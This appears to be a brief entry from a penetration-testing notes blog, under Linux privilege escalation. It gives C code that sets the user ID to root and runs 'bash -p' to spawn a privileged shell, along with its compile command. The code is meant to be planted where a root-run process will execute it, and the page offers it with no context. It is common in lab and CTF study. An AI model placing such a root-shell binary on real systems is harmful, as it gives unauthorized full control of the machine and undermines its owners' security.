> For the complete documentation index, see [llms.txt](https://ed4m4s.blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ed4m4s.blog/privilege-escalation/linux/custom-executable.md).

# Custom Executable

### Compile a custom executable

```c
######## Code ########
int main() {
    setuid(0);
    system("/bin/bash -p");
}

######## Compile ########
gcc -o myfile myfile.c
```
